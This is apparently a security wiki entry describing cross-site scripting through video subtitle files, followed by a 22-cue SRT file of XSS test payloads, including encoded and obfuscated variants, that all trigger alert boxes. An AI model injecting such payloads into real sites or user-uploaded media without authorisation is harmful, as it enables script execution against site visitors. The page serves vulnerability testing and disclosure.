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Xss in subtitle

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Revision as of 14:42, 15 November 2017 by 2MzRp (talk | contribs) (Created page with "==Description== It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle...")

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Description

It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.

Examples

the attacker can upload below subtitle with srt extension to test the website



1
 00:00:37,618 --> 00:00:42,557
 <font color="#ffff00">: '';!--"<XSS>=&{()}</font>

2
 00:00:58,425 --> 00:01:00,704
 <IMG SRC="javascript:alert('XSS');">

3
 00:01:00,705 --> 00:01:01,873
 <IMG SRC=javascript:alert('XSS')>

4
 00:01:02,225 --> 00:01:04,519
 <IMG SRC=javascript:alert('XSS')>

5
 00:01:04,520 --> 00:01:05,547
 <IMG SRC=javascript:alert('XSS')>

6
 00:01:05,864 --> 00:01:08,117
 <IMG SRC=javascript:alert('XSS')>

7
 00:01:08,224 --> 00:01:09,223
 <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

8
 00:01:09,224 --> 00:01:10,434
 <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

9
 00:01:11,384 --> 00:01:12,427
 <IMG SRC=# onmouseover="alert('xxs')">

10
 00:01:15,504 --> 00:01:17,506
 <IMG SRC= onmouseover="alert('xxs')">

11
 00:01:19,743 --> 00:01:20,786
 <IMG onmouseover="alert('xxs')">

12
 00:01:24,183 --> 00:01:25,351
 <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

13
 00:01:40,663 --> 00:01:41,705
 <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

14
 00:01:42,703 --> 00:01:45,742
 <IMG SRC=javascript:alert( 'XSS')>

15
 00:01:45,743 --> 00:01:46,285
 <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097& #0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

16
 00:01:48,503 --> 00:01:49,545
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

17
 00:01:49,582 --> 00:01:51,709
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

18
 00:01:54,822 --> 00:01:58,200
 <IMG SRC="jav ascript:alert('XSS');">

19
 00:02:01,021 --> 00:02:03,691
 <IMG SRC="jav ascript:alert('XSS');">

20
 00:02:04,702 --> 00:02:05,744
 <IMG SRC="jav&#x0D;ascript:alert('XSS');">

21
 00:02:15,700 --> 00:02:18,536
 <IMG SRC="javascript:alert('XSS')"

22
 00:02:18,740 --> 00:02:22,619
 \";alert('XSS');//



Related Threats

Related Attacks

XSS Attacks

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